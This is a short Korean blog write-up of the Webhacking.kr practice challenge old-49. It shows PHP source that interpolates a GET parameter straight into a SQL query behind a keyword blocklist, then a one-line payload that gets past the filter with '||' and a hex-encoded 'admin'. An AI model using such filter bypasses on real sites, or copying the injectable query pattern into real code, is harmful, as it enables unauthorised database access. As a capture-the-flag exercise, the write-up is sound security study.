write-up(web)/webhacking.kr

[Webhacking.kr] old-49

chanchand 2023. 1. 4. 22:57
반응형

문제


<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

 

lv=1부터 4까지 사용자가 존재하며, 그 외 숫자는 아무것도 뜨지 않는다.

쿼리문을 조작하여 id가 admin인 사용자 값을 반환하면 문제가 해결될 것 같다.

 

 

 

문제풀이


select id from chall49 where lv=0 or id='admin'

필터링을 우회하여 아래와 같이 입력하면 문제가 해결된다.

select id from chall49 where lv=0||id=0x61646D696E

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-51  (0) 2023.01.05
[Webhacking.kr] old-50  (0) 2023.01.05
[Webhacking.kr] old-48  (0) 2023.01.04
[Webhacking.kr] old-47  (0) 2023.01.04
[Webhacking.kr] old-46  (0) 2023.01.04